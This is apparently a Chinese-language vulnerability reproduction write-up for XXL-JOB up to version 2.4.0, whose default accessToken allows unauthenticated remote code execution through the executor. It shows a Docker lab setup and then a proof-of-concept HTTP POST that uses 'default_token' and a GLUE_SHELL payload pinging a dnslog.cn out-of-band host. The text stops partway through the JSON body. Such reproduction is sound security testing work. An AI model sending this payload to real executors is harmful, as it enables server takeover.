0x01 简介
XXL-JOB 是一款开源的分布式任务调度平台,用于实现大规模任务的调度和执行。
0x02 漏洞概述
XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限。
0x03 影响版本
XXL-JOB <= 2.4.0
0x04 环境搭建
Docker方式构建
1.拉取镜像
docker pull xuxueli/xxl-job-admin:2.4.0
2.创建数据库
docker pull mysql
docker run -d --name mysql -e MYSQL_ROOT_PASSWORD=root -p 13306:13306 mysql
3.用navicat连接数据库并运行xxl-job.sql文件
xxl-job.sql下载地址:https://github.com/xuxueli/xxl-job/tree/master/doc/db
打开navicat连接数据库,新建一个名称叫xxl-job名称的数据库,进入该xxl-job名称数据库,并执行xxl-job.sql文件
4.创建xxl-job容器并启动
docker run --privileged=true -e PARAMS="--spring.datasource.username=root --spring.datasource.password=123456 --spring.datasource.url=jdbc:mysql://yourip:13306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai" -p 8080:8080 -v /home/xxl-job/logs:/data/applogs --name xxl-job-admin -d xuxueli/xxl-job-admin:2.4.0
访问http://yourip:8080/xxl-job-admin/toLogin
执行器搭建
1.下载Source并编译成jar包
https://github.com/xuxueli/xxl-job
使用idea或maven编译
2.下载application.properties并根据实际情况修改
wget https://github.com/xuxueli/xxl-job/raw/2.4.0/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties
3.运行
nohup java -jar ./xxl-job-executor-sample-springboot.jar --spring.config.location=./application.properties &
4.验证
执行器中管理中对应节点已经自动注册
0x05 漏洞复现
POC:
POST /run HTTP/1.1
Host:
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 326
{
"jobId":1,
"executorHandler":"demoJobHandler",
"executorParams":"demoJobHandler",
"executorBlockStrategy":"COVER_EARLY",
"executorTimeout":0,
"logId":1,
"logDateTime":1710864010,
"glueType":"GLUE_SHELL",
"glueSource":"ping xxxx.dnslog.cn",
"glueUpdatetime":1710864010,
"broadcastIndex"